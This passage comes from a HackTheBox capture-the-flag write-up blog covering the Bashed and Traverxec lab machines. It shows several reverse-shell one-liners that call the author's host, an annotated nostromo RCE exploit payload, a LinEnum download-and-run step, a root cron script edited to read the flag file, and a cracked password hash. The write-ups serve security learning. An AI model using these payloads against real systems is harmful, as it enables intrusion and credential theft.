<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gobuster <span class="nb">dir</span> <span class="nt">-u</span> http://10.10.10.68 <span class="nt">-w</span> /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt <span class="nt">-o</span> gobuster-root.log <span class="nt">--wildcard</span> <span class="nt">-t</span> 40
<span class="o">===============================================================</span>
Gobuster v3.0.1
by OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span> & Christian Mehlmauer <span class="o">(</span>@_FireFart_<span class="o">)</span>
<span class="o">===============================================================</span>
<span class="o">[</span>+] Url: http://10.10.10.68
<span class="o">[</span>+] Threads: 40
<span class="o">[</span>+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
<span class="o">[</span>+] Status codes: 200,204,301,302,307,401,403
<span class="o">[</span>+] User Agent: gobuster/3.0.1
<span class="o">[</span>+] Timeout: 10s
<span class="o">===============================================================</span>
2020/04/02 06:22:58 Starting gobuster
<span class="o">===============================================================</span>
/uploads <span class="o">(</span>Status: 301<span class="o">)</span>
/images <span class="o">(</span>Status: 301<span class="o">)</span>
/php <span class="o">(</span>Status: 301<span class="o">)</span>
/css <span class="o">(</span>Status: 301<span class="o">)</span>
/dev <span class="o">(</span>Status: 301<span class="o">)</span>
/js <span class="o">(</span>Status: 301<span class="o">)</span>
/fonts <span class="o">(</span>Status: 301<span class="o">)</span>
/server-status <span class="o">(</span>Status: 403<span class="o">)</span>
<span class="o">===============================================================</span>
2020/04/02 06:28:11 Finished
<span class="o">===============================================================</span>
</code></pre></div></div>
<p>Some of these look pretty interesting. Checked <code class="language-plaintext highlighter-rouge">/uploads</code> and got a blank page, but opening <code class="language-plaintext highlighter-rouge">/dev</code> in a browser shows me a directory with two files listed:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">phpbash.min.php</code></li>
<li><code class="language-plaintext highlighter-rouge">phpbash.php</code></li>
</ul>
<p>Clicking on <code class="language-plaintext highlighter-rouge">phpbash.php</code> opens up a shell on the webpage. It’s safe to assume this shell was left over from the “development of phpbash” mentioned on the homepage of the website.</p>
<h3 id="exploitation">Exploitation</h3>
<p>Let’s see if we can grab the <code class="language-plaintext highlighter-rouge">user.txt</code> proof.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@bashed:/home/arrexel# <span class="nb">cd</span> /home/
www-data@bashed:/home# <span class="nb">ls
</span>arrexel
scriptmanager
www-data@bashed:/home# <span class="nb">cd </span>arrexel
www-data@bashed:/home/arrexel# <span class="nb">ls
</span>user.txt
www-data@bashed
:/home/arrexel# <span class="nb">wc </span>user.txt
1 1 33 user.txt
</code></pre></div></div>
<p>Great, now let’s get a real shell. I’ll start a <code class="language-plaintext highlighter-rouge">nc</code> listener on port 4321 on my local machine with:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nc <span class="nt">-lvnp</span> 4321
</code></pre></div></div>
<p>And run the following line on the <code class="language-plaintext highlighter-rouge">phpbash</code> shell on the website to try to get a reverse shell:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>bash <span class="nt">-i</span> <span class="o">></span>&/dev/tcp/10.10.14.31/4321 0>&1
</code></pre></div></div>
<p>Aaaaand…. nothing. Let’s try something else.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">rm</span> /tmp/f<span class="p">;</span><span class="nb">mkfifo</span> /tmp/f<span class="p">;</span><span class="nb">cat</span> /tmp/f | /bin/sh <span class="nt">-i</span> 2>&1 | nc 10.10.14.31 4321 <span class="o">></span>/tmp/f
</code></pre></div></div>
<p>Also nothing. Maybe this one?</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nv">$ </span>perl <span class="nt">-e</span> <span class="s1">'use Socket;$i="10.10.14.31";$p=4321;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'</span>
</code></pre></div></div>
<p>Also nothing. Python?</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python <span class="nt">-c</span> <span class="s1">'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.31",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</span>
</code></pre></div></div>
<p>And that’s a shell, ladies and gentlemen! <em>(something something try harder)</em></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nv">$ </span>nc <span class="nt">-lvnp</span> 4321
listening on <span class="o">[</span>any] 4321 ...
connect to <span class="o">[</span>10.10.14.31] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.10.10.68] 43200
/bin/sh: 0: can<span class="s1">'t access tty; job control turned off
$ whoami
www-data
</span></code></pre></div></div>
<h3 id="upgrading-shell">Upgrading Shell</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python <span class="nt">-c</span> <span class="s1">'import pty; pty.spawn("/bin/bash")'</span>
<span class="c"># Background webshell with Ctrl-Z</span>
<span class="c"># Now, in local shell run:</span>
<span class="nv">$ </span><span class="nb">stty </span>size
<span class="nv">$ </span><span class="nb">echo</span> <span class="nv">$SHELL</span> <span class="nv">$TERM</span>
<span class="nv">$ </span><span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span> <span class="nb">fg</span>
<span class="c"># Now, we're back in the webshell and need to set the $TERM and $SHELL variables, as well as the stty info</span>
<span class="nv">$ </span>reset
<span class="nv">$ </span><span class="nb">export </span><span class="nv">SHELL</span><span class="o">=</span>bash
<span class="nv">$ </span><span class="nb">export </span><span class="nv">TERM</span><span class="o">=</span>xterm-256color
<span class="nv">$ </span><span class="nb">stty </span>rows WHATEVER_WAS_IN_stty_-a columns WHATEVER_WAS_IN_stty_-a
<span class="nv">$ </span>clear
</code></pre></div></div>
<p>And now we have a full shell. Let’s do some privilege escalation.</p>
<h3 id="privilege-escalation">Privilege Escalation</h3>
<p>Let’s get our favorite <code class="language-plaintext highlighter-rouge">LinEnum.sh</code> on this machine. I start a webserver from a directory that contains this script on my machine and will try to <code class="language-plaintext highlighter-rouge">curl</code> or <code class="language-plaintext highlighter-rouge">wget</code> it on the remote machine.</p>
<p>I have these two functions that I use to spin up a webserver on my machine quickly for HackTheBox:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>htb_server <span class="o">()</span> <span class="o">{</span>
<span class="nb">echo</span> <span class="s2">"Server IP Address copied to clipboard"</span> <span class="o">&&</span> <span class="nb">echo</span> <span class="s2">"</span><span class="si">$(</span>htb_ip<span class="si">)</span><span class="s2">:8000/"</span> | xsel <span class="nt">-ib</span> <span class="o">&&</span> python3 <span class="nt">-m</span> http.server
<span class="o">}</span>
htb_ip <span class="o">()</span> <span class="o">{</span>
ifconfig tun0 | <span class="nb">awk</span> <span class="s1">'/inet / {print $2}'</span>
<span class="o">}</span>
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>htb_server
Server IP Address copied to clipboard
Serving HTTP on 0.0.0.0 port 8000 <span class="o">(</span>http://0.0.0.0:8000/<span class="o">)</span> ...
</code></pre></div></div>
<p>And then I run the following command from the shell on the remote machine:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@bashed:/var/www/html/dev<span class="nv">$ </span>curl 10.10.14.31:8000/LinEnum.sh <span class="nt">-o</span> LinEnum.sh <span class="o">&&</span> <span class="nb">chmod</span> +x LinEnum.sh <span class="o">&&</span> ./LinEnum.sh
The program <span class="s1">'curl'</span> is currently not installed. To run <span class="s1">'curl'</span> please ask your administrator to <span class="nb">install </span>the package <span class="s1">'curl'</span>
</code></pre></div></div>
<p>Okay. Seems like <code class="language-plaintext highlighter-rouge">curl</code> isn’t on the machine. Let’s try <code class="language-plaintext highlighter-rouge">wget</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@bashed:/var/www/html/dev<span class="nv">$ </span>which wget
/usr/bin/wget
www-data@bashed:/var/www/html/dev<span class="nv">$ </span>wget 10.10.14.31:8000/LinEnum.sh
<span class="nt">--2020-04-02</span> 05:30:03-- http://10.10.14.31:8000/LinEnum.sh
Connecting to 10.10.14.31:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 <span class="o">(</span>46K<span class="o">)</span> <span class="o">[</span>text/x-sh]
LinEnum.sh: Permission denied
Cannot write to <span class="s1">'LinEnum.sh'</span> <span class="o">(</span>Success<span class="o">)</span><span class="nb">.</span>
</code></pre></div></div>
<p>So, we successfully connected to my webserver to download the script, downloaded it and failed to write it to disk. To fix this, let’s just write it to memory (<code class="language-plaintext highlighter-rouge">/dev/shm</code>)</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@bashed:/var/www/html/dev<span class="nv">$ </span><span class="nb">cd</span> /dev/shm
www-data@bashed:/dev/shm<span class="nv">$ </span>wget 10.10.14.31:8000/LinEnum.sh
www-data@bashed:/dev/shm<span class="nv">$ </span><span class="nb">chmod</span> +x LinEnum.sh <span class="o">&&</span> ./LinEnum.sh
</code></pre></div></div>
<p>The full output of the script is available in <a href="https://github.com/alichtman/writeups/blob/master/hack-the-box/Bashed/enumeration/LinEnum.output.txt"><code class="language-plaintext highlighter-rouge">LinEnum.output.txt</code></a>. Download the file and <code class="language-plaintext highlighter-rouge">cat</code> it to see the output properly formatted. The important excerpts are included below.</p>
<p>Right off the bat, I see that it’s running an old kernel (<code class="language-plaintext highlighter-rouge">Linux bashed 4.4.0-62-generic</code>). There are a variety of kernel exploits that we could use to get an insta-root, but I bet there’s something more interesting we could do. If we scroll down a bit further, we see this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] We can sudo without supplying a password!
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
</code></pre></div></div>
<p>This means that we can upgrade to a shell as <code class="language-plaintext highlighter-rouge">scriptmanager</code> with the following command: <code class="language-plaintext highlighter-rouge">$ sudo -u scriptmanager /bin/bash</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>scriptmanager@bashed:/dev/shm/<span class="nv">$ </span><span class="nb">cd</span> /
scriptmanager@bashed:/<span class="nv">$ </span>ll
total 88
drwxr-xr-x 23 root root 4096 Dec 4 2017 ./
drwxr-xr-x 23 root root 4096 Dec 4 2017 ../
drwxr-xr-x 2 root root 4096 Dec 4 2017 bin/
drwxr-xr-x 3 root root 4096 Dec 4 2017 boot/
drwxr-xr-x 19 root root 4240 Apr 2 04:14 dev/
drwxr-xr-x 89 root root 4096 Dec 4 2017 etc/
drwxr-xr-x 4 root root 4096 Dec 4 2017 home/
lrwxrwxrwx 1 root root 32 Dec 4 2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x 19 root root 4096 Dec 4 2017 lib/
drwxr-xr-x 2 root root 4096 Dec 4 2017 lib64/
drwx------ 2 root root 16384 Dec 4 2017 lost+found/
drwxr-xr-x 4 root root 4096 Dec 4 2017 media/
drwxr-xr-x 2 root root 4096 Feb 15 2017 mnt/
drwxr-xr-x 2 root root 4096 Dec 4 2017 opt/
dr-xr-xr-x 116 root root 0 Apr 2 04:14 proc/
drwx------ 3 root root 4096 Dec 4 2017 root/
drwxr-xr-x 18 root root 500 Apr 2 04:14 run/
drwxr-xr-x 2 root root 4096 Dec 4 2017 sbin/
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 scripts/
drwxr-xr-x 2 root root 4096 Feb 15 2017 srv/
dr-xr-xr-x 13 root root 0 Apr 2 04:14 sys/
drwxrwxrwt 10 root root 4096 Apr 2 05:48 tmp/
drwxr-xr-x 10 root root 4096 Dec 4 2017 usr/
drwxr-xr-x 12 root root 4096 Dec 4 2017 var/
lrwxrwxrwx 1 root root 29 Dec 4 2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic
</code></pre></div></div>
<p>Now we see that we can access the <code class="language-plaintext highlighter-rouge">scripts</code> directory (which we could not with the <code class="language-plaintext highlighter-rouge">www-data</code> user.) Let’s take a peek.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>scriptmanager@bashed:/<span class="nv">$ </span><span class="nb">cd </span>scripts/
scriptmanager@bashed:/scripts<span class="nv">$ </span><span class="nb">ls
</span>test.py test.txt
scriptmanager@bashed:/scripts<span class="nv">$ </span><span class="nb">cat </span>test.py
f <span class="o">=</span> open<span class="o">(</span><span class="s2">"test.txt"</span>, <span class="s2">"w"</span><span class="o">)</span>
f.write<span class="o">(</span><span class="s2">"testing 123!"</span><span class="o">)</span>
f.close
scriptmanager@bashed:/scripts<span class="nv">$ </span><span class="nb">cat </span>test.txt
testing 123!
</code></pre></div></div>
<p>It seems like <code class="language-plaintext highlighter-rouge">test.py</code> is run, maybe by a cronjob or something. It currently just opens <code class="language-plaintext highlighter-rouge">test.txt</code> and writes a string to the file.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ll
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 ./
drwxr-xr-x 23 root root 4096 Dec 4 2017 ../
<span class="nt">-rw-r--r--</span> 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
<span class="nt">-rw-r--r--</span> 1 root root 12 Apr 2 05:56 test.txt
</code></pre></div></div>
<p>If we take a closer look at the permissions, we can see that <code class="language-plaintext highlighter-rouge">test.txt</code> is owned by <code class="language-plaintext highlighter-rouge">root</code>. This likely means that the <code class="language-plaintext highlighter-rouge">root</code> user is running <code class="language-plaintext highlighter-rouge">test.py</code>. Let’s edit this file to see if we can just read the flag that way.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>scriptmanager@bashed:/scripts<span class="nv">$ </span>vim test.py
The program <span class="s1">'vim'</span> can be found <span class="k">in </span>the following packages:
<span class="k">*</span> vim
<span class="k">*</span> vim-gnome
<span class="k">*</span> vim-tiny
<span class="k">*</span> vim-athena
<span class="k">*</span> vim-athena-py2
<span class="k">*</span> vim-gnome-py2
<span class="k">*</span> vim-gtk
<span class="k">*</span> vim-gtk-py2
<span class="k">*</span> vim-gtk3
<span class="k">*</span> vim-gtk3-py2
<span class="k">*</span> vim-nox
<span class="k">*</span> vim-nox-py2
Ask your administrator to <span class="nb">install </span>one of them
scriptmanager@bashed:/scripts<span class="nv">$ </span>which nano
/bin/nano
</code></pre></div></div>
<p>No <code class="language-plaintext highlighter-rouge">vim</code>? How uncultured. Anyways, open <code class="language-plaintext highlighter-rouge">nano</code> and change the file to be:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"/root/root.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">test</span><span class="p">.</span><span class="n">txt</span><span class="p">,</span> <span class="s">"w+"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f2</span><span class="p">:</span>
<span class="n">f2</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>
</code></pre></div></div>
<p>And a minute later, we have our root proof.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>scriptmanager@bashed:/scripts<span class="nv">$ </span><span class="nb">wc </span>test.txt
1 1 33 test.txt
</code></pre></div></div>Aaron LichtmanFind a leftover shell on a development server and use that to pick up a reverse shell. Then, privilege escalate to by abusing a bad sudo configuration, and then escalate to root using a cronjob.HackTheBox – Traverxec2020-04-20T02:56:30-07:002020-04-20T02:56:30-07:00https://alichtman.github.io/hack-the-box/hack-the-box-traverxec<p class="notice--info">Exploiting a vulnerable <code class="language-plaintext highlighter-rouge">HTTP</code> server (<code class="language-plaintext highlighter-rouge">nostromo</code>) to get a reverse shell. Then finding an archived, encrypted <code class="language-plaintext highlighter-rouge">SSH</code> key that we crack with <code class="language-plaintext highlighter-rouge">john</code> to escalate to user privileges. And then using <code class="language-plaintext highlighter-rouge">less</code> to escalate to <code class="language-plaintext highlighter-rouge">root</code> privileges.</p>
<p><img src="/assets/images/HackTheBox/traverxec.png" alt="traverxec" /></p>
<h3 id="summary">Summary</h3>
<p>In this box,</p>
<h3 id="enumeration">Enumeration</h3>
<p>As always, the first step of the box is enumeration. Let’s find out what services are running on the box. We’ll use <code class="language-plaintext highlighter-rouge">nmap</code> for this.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nmap <span class="nt">-vvv</span> <span class="nt">-sCV</span> <span class="nt">-oN</span> traverxec.nmap 10.10.10.165
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u1 <span class="o">(</span>protocol 2.0<span class="o">)</span>
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c <span class="o">(</span>RSA<span class="o">)</span>
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVWo6eEhBKO19Owd6sVIAFVCJjQqSL4g16oI/DoFwUo+ubJyyIeTRagQNE91YdCrENXF2qBs2yFj2fqfRZy9iqGB09VOZt6i8oalpbmFwkBDtCdHoIAZbaZFKAl+m1UBell2v0xUhAy37Wl9BjoUU3EQBVF5QJNQqvb/mSqHsi5TAJcMtCpWKA4So3pwZcTatSu5x/RYdKzzo9fWSS6hjO4/hdJ4BM6eyKQxa29vl/ea1PvcHPY5EDTRX5RtraV9HAT7w2zIZH5W6i3BQvMGEckrrvVTZ6Ge3Gjx00ORLBdoVyqQeXQzIJ/vuDuJOH2G6E/AHDsw3n5yFNMKeCvNNL
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc <span class="o">(</span>ECDSA<span class="o">)</span>
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLpsS/IDFr0gxOgk9GkAT0G4vhnRdtvoL8iem2q8yoRCatUIib1nkp5ViHvLEgL6e3AnzUJGFLI3TFz+CInilq4<span class="o">=</span>
| 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce <span class="o">(</span>ED25519<span class="o">)</span>
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGJ16OMR0bxc/4SAEl1yiyEUxC3i/dFH7ftnCU7+P+3s
80/tcp open http syn-ack nostromo 1.9.6
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
...
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>13.99 seconds
</code></pre></div></div>
<p>We see that port 22 is running SSH. We check to see if we can ssh in without a password, and find out that passwordless SSH authentication is disallowed. Next, I notice this weird string in the <code class="language-plaintext highlighter-rouge">http-server-header</code>, <code class="language-plaintext highlighter-rouge">nostromo 1.9.6</code>. Let’s see if the <code class="language-plaintext highlighter-rouge">exploitdb</code> knows anything about it.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>searchsploit nostromo 1.9.6
<span class="nt">--------------------------------------------------------</span> <span class="nt">---------------------------------</span>
Exploit Title | Path
| <span class="o">(</span>/usr/share/exploitdb/<span class="o">)</span>
<span class="nt">--------------------------------------------------------</span> <span class="nt">---------------------------------</span>
nostromo 1.9.6 - Remote Code Execution | exploits/multiple/remote/47837.py
<span class="nt">--------------------------------------------------------</span> <span class="nt">---------------------------------</span>
Shellcodes: No Result
Papers: No Result
</code></pre></div></div>
<p>There is a RCE exploit available for this version of <code class="language-plaintext highlighter-rouge">nostromo</code>. Let’s read it to learn about how it works, and then use it.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Download the exploit locally</span>
<span class="nv">$ </span>searchsploit <span class="nt">-m</span> exploits/multiple/remote/47837.py
</code></pre></div></div>
<p>Reading through the exploit, we can see that the command is injected into a <code class="language-plaintext highlighter-rouge">POST</code> request to the server. This is the code block that actually performs the injection. I’ve annotated it for easy understanding.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">cve</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">cmd</span><span class="p">):</span>
<span class="c1"># Create new web socket and connect to target IP at port.
</span> <span class="n">soc</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">()</span>
<span class="n">soc</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">target</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">port</span><span class="p">)))</span>
<span class="c1"># Create malicious POST request
</span> <span class="n">payload</span> <span class="o">=</span> <span class="s">'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0</span><span class="se">\r\n</span><span class="s">Content-Length: 1</span><span class="se">\r\n\r\n</span><span class="s">echo</span><span class="se">\n</span><span class="s">echo</span><span class="se">\n</span><span class="s">{} 2>&1'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<span class="c1"># Send POST request and receive the output
</span> <span class="n">soc</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">receive</span> <span class="o">=</span> <span class="n">connect</span><span class="p">(</span><span class="n">soc</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">receive</span><span class="p">)</span>
</code></pre></div></div>
<p>Let’s do a simple test to check that this exploit works.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python 47837.py 10.10.10.165 80 <span class="nb">whoami
</span>www-data
</code></pre></div></div>
<p>This gets us command execution!</p>
<h3 id="reverse-shell">Reverse Shell</h3>
<p>Let’s get a reverse shell. I start a listener on port <code class="language-plaintext highlighter-rouge">1234</code> of my <code class="language-plaintext highlighter-rouge">Kali</code> box with <code class="language-plaintext highlighter-rouge">$ nc -lvnp 1234</code>. Then I issue the following command to be run on the remote machine to get a reverse shell.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python 47837.py 10.10.10.165 80 <span class="s2">"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.11 1234 >/tmp/f"</span>
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nc <span class="nt">-lvnp</span> 1234
<span class="nv">$ </span><span class="nb">whoami
</span>www-data
</code></pre></div></div>
<h3 id="upgrade-to-full-shell">Upgrade to Full Shell</h3>
<p>We now have a bare webshell. We can’t use tab completion and we can’t <code class="language-plaintext highlighter-rouge">Ctrl-C</code> commands without closing the shell entirely. Let’s fix that.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>which python
/usr/bin/python
<span class="nv">$ </span>python <span class="nt">-c</span> <span class="s1">'import pty;pty.spawn("/bin/bash")'</span>
www-data@traverxec:/usr/bin<span class="nv">$ </span><span class="c"># Ctrl-Z</span>
<span class="c"># Local shell</span>
<span class="nv">$ </span><span class="nb">stty echo</span> <span class="nt">-raw</span><span class="p">;</span> <span class="nb">fg
</span>www-data@traverxec:/usr/bin<span class="nv">$ </span><span class="nb">export </span><span class="nv">TERM</span><span class="o">=</span>xterm-256color
www-data@traverxec:/usr/bin<span class="nv">$ </span><span class="nb">export </span><span class="nv">SHELL</span><span class="o">=</span>bash
www-data@traverxec:/usr/bin<span class="nv">$ </span>clear
</code></pre></div></div>
<h3 id="user-privilege-escalation">User Privilege Escalation</h3>
<p>I spin up a Python webserver on my local machine with <code class="language-plaintext highlighter-rouge">$ python3 -m http.server 8000</code> and use <code class="language-plaintext highlighter-rouge">wget</code> on the remote machine to pull down <code class="language-plaintext highlighter-rouge">LinEnum.sh</code> into the <code class="language-plaintext highlighter-rouge">/tmp</code> directory, make it executable with <code class="language-plaintext highlighter-rouge">chmod +x</code>, and run it.</p>
<p>In the output for <code class="language-plaintext highlighter-rouge">LinEnum.sh</code>, I see:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>-] htpasswd found - could contain passwords:
/var/nostromo/conf/.htpasswd
david:<span class="nv">$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ</span>/
</code></pre></div></div>
<p>I put the line with the hash into its own file and run <code class="language-plaintext highlighter-rouge">john</code> on it to see if I can crack it.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>john htpasswd <span class="nt">-w</span><span class="o">=</span>~/tools/wordlists/rockyou.txt
Warning: detected <span class="nb">hash type</span> <span class="s2">"md5crypt"</span>, but the string is also recognized as <span class="s2">"md5crypt-long"</span>
Use the <span class="s2">"--format=md5crypt-long"</span> option to force loading these as that <span class="nb">type </span>instead
Using default input encoding: UTF-8
Loaded 1 password <span class="nb">hash</span> <span class="o">(</span>md5crypt, crypt<span class="o">(</span>3<span class="o">)</span> <span class="nv">$1$ </span><span class="o">(</span>and variants<span class="o">)</span> <span class="o">[</span>MD5 256/256 AVX2 8x3]<span class="o">)</span>
Will run 4 OpenMP threads
Press <span class="s1">'q'</span> or Ctrl-C to abort, almost any other key <span class="k">for </span>status
Nowonly4me <span class="o">(</span>david<span class="o">)</span>
1g 0:00:00:39 DONE <span class="o">(</span>2020-04-07 07:21<span class="o">)</span> 0.02540g/s 268760p/s 268760c/s 268760C/s Noyoo..Noury
Use the <span class="s2">"--show"</span> option to display all of the cracked passwords reliably
Session completed
</code></pre></div></div>
<p>Looks like the password for <code class="language-plaintext highlighter-rouge">david</code> is <code class="language-plaintext highlighter-rouge">Nowonly4me</code>. (I never ended up using this cracked hash. I think this was a rabbit hole, but am including it for completeness.)</p>
<p>After exploring the box for a bit, I found this:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@traverxec:/var/nostromo/conf<span class="nv">$ </span><span class="nb">cat </span>nhttpd.conf
<span class="c"># MAIN [MANDATORY]</span>
servername traverxec.htb
serverlisten <span class="k">*</span>
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
<span class="c"># LOGS [OPTIONAL]</span>
logpid logs/nhttpd.pid
<span class="c"># SETUID [RECOMMENDED]</span>
user www-data
<span class="c"># BASIC AUTHENTICATION [OPTIONAL]</span>
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
<span class="c"># ALIASES [OPTIONAL]</span>
/icons /var/nostromo/icons
<span class="c"># HOMEDIRS [OPTIONAL]</span>
homedirs /home
homedirs_public public_www
</code></pre></div></div>
<p>Using a bit of intuition, I tried to <code class="language-plaintext highlighter-rouge">cd /home/david/public_www</code> and succeeded, even though <code class="language-plaintext highlighter-rouge">cd /home/david/ && ls</code> failed.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@traverxec:/home/david/public_www/protected-file-area<span class="nv">$ </span><span class="nb">ls
</span>backup-ssh-identity-files.tgz
</code></pre></div></div>
<p>Looks interesting. Let’s extract this to <code class="language-plaintext highlighter-rouge">/tmp</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@traverxec:/home/david/public_www/protected-file-area<span class="nv">$ </span><span class="nb">cd</span> /tmp
www-data@traverxec:/tmp<span class="nv">$ </span><span class="nb">cp</span> /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz <span class="nb">.</span>
www-data@traverxec:/tmp<span class="nv">$ </span><span class="nb">mkdir </span>data
www-data@traverxec:/tmp<span class="nv">$ </span><span class="nb">tar </span>xzvf backup-ssh-identity-files.tgz <span class="nt">-C</span> /tmp/data
www-data@traverxec:/tmp<span class="nv">$ </span><span class="nb">cd </span>data/home/david/.ssh/
www-data@traverxec:/tmp/data/home/david/.ssh<span class="nv">$ </span><span class="nb">ls
</span>authorized_keys id_rsa id_rsa.pub
www-data@traverxec:/tmp/data/home/david/.ssh<span class="nv">$ </span><span class="nb">cat </span>id_rsa
<span class="nt">-----BEGIN</span> RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F
